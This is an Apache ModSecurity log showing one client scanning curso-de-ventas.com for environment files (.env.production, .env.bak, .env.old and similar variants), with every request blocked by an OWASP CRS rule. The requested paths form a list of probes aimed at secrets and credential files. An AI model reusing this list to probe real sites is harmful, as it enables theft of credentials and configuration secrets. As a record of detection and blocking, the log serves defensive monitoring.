[Mon Oct 26 17:55:38.070452 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at_MWjS1e-yu7xYT1dr6LQAAAAk"]
[Mon Oct 26 17:55:38.070713 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at_MWjS1e-yu7xYT1dr6LQAAAAk"]
[Mon Oct 26 17:55:38.071095 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at_MWjS1e-yu7xYT1dr6LQAAAAk"]
[Mon Oct 26 17:55:38.179819 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at_MWjS1e-yu7xYT1dr6LgAAAAk"]
[Mon Oct 26 17:55:38.180067 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at_MWjS1e-yu7xYT1dr6LgAAAAk"]
[Mon Oct 26 17:55:38.180406 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at_MWjS1e-yu7xYT1dr6LgAAAAk"]
[Mon Oct 26 17:55:38.180467 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at_MWjS1e-yu7xYT1dr6LgAAAAk"]
[Mon Oct 26 17:55:38.180483 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at_MWjS1e-yu7xYT1dr6LgAAAAk"]
[Mon Oct 26 17:55:38.266171 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at_MWjS1e-yu7xYT1dr6LwAAAAk"]
[Mon Oct 26 17:55:38.266408 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at_MWjS1e-yu7xYT1dr6LwAAAAk"]
[Mon Oct 26 17:55:38.266724 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at_MWjS1e-yu7xYT1dr6LwAAAAk"]
[Mon Oct 26 17:55:38.351452 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at_MWjS1e-yu7xYT1dr6MAAAAAk"]
[Mon Oct 26 17:55:38.351722 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at_MWjS1e-yu7xYT1dr6MAAAAAk"]
[Mon Oct 26 17:55:38.352104 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at_MWjS1e-yu7xYT1dr6MAAAAAk"]
[Mon Oct 26 17:55:38.450854 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at_MWjS1e-yu7xYT1dr6MQAAAAk"]
[Mon Oct 26 17:55:38.451106 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at_MWjS1e-yu7xYT1dr6MQAAAAk"]
[Mon Oct 26 17:55:38.451438 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at_MWjS1e-yu7xYT1dr6MQAAAAk"]
[Mon Oct 26 17:55:38.632066 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at_MWjS1e-yu7xYT1dr6MgAAAAk"]
[Mon Oct 26 17:55:38.632304 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at_MWjS1e-yu7xYT1dr6MgAAAAk"]
[Mon Oct 26 17:55:38.632660 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at_MWjS1e-yu7xYT1dr6MgAAAAk"]
[Mon Oct 26 17:55:38.738276 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at_MWjS1e-yu7xYT1dr6MwAAAAk"]
[Mon Oct 26 17:55:38.738633 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at_MWjS1e-yu7xYT1dr6MwAAAAk"]
[Mon Oct 26 17:55:38.739158 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at_MWjS1e-yu7xYT1dr6MwAAAAk"]
[Mon Oct 26 17:55:38.803674 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at_MWjS1e-yu7xYT1dr6NAAAAAk"]
[Mon Oct 26 17:55:38.803943 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at_MWjS1e-yu7xYT1dr6NAAAAAk"]
[Mon Oct 26 17:55:38.804276 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at_MWjS1e-yu7xYT1dr6NAAAAAk"]
[Mon Oct 26 17:55:38.934717 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at_MWjS1e-yu7xYT1dr6NQAAAAk"]
[Mon Oct 26 17:55:38.934990 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at_MWjS1e-yu7xYT1dr6NQAAAAk"]
[Mon Oct 26 17:55:38.935398 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at_MWjS1e-yu7xYT1dr6NQAAAAk"]
[Mon Oct 26 17:55:39.034143 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at_MWzS1e-yu7xYT1dr6NgAAAAk"]
[Mon Oct 26 17:55:39.034397 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at_MWzS1e-yu7xYT1dr6NgAAAAk"]
[Mon Oct 26 17:55:39.034702 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at_MWzS1e-yu7xYT1dr6NgAAAAk"]
[Mon Oct 26 17:55:39.147531 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at_MWzS1e-yu7xYT1dr6NwAAAAk"]
[Mon Oct 26 17:55:39.147783 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at_MWzS1e-yu7xYT1dr6NwAAAAk"]
[Mon Oct 26 17:55:39.148095 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at_MWzS1e-yu7xYT1dr6NwAAAAk"]
[Mon Oct 26 17:55:39.201267 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at_MWzS1e-yu7xYT1dr6OAAAAAk"]
[Mon Oct 26 17:55:39.201535 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at_MWzS1e-yu7xYT1dr6OAAAAAk"]
[Mon Oct 26 17:55:39.201951 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at_MWzS1e-yu7xYT1dr6OAAAAAk"]
[Mon Oct 26 17:55:39.296113 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at_MWzS1e-yu7xYT1dr6OQAAAAk"]
[Mon Oct 26 17:55:39.296364 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at_MWzS1e-yu7xYT1dr6OQAAAAk"]
[Mon Oct 26 17:55:39.296699 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at_MWzS1e-yu7xYT1dr6OQAAAAk"]
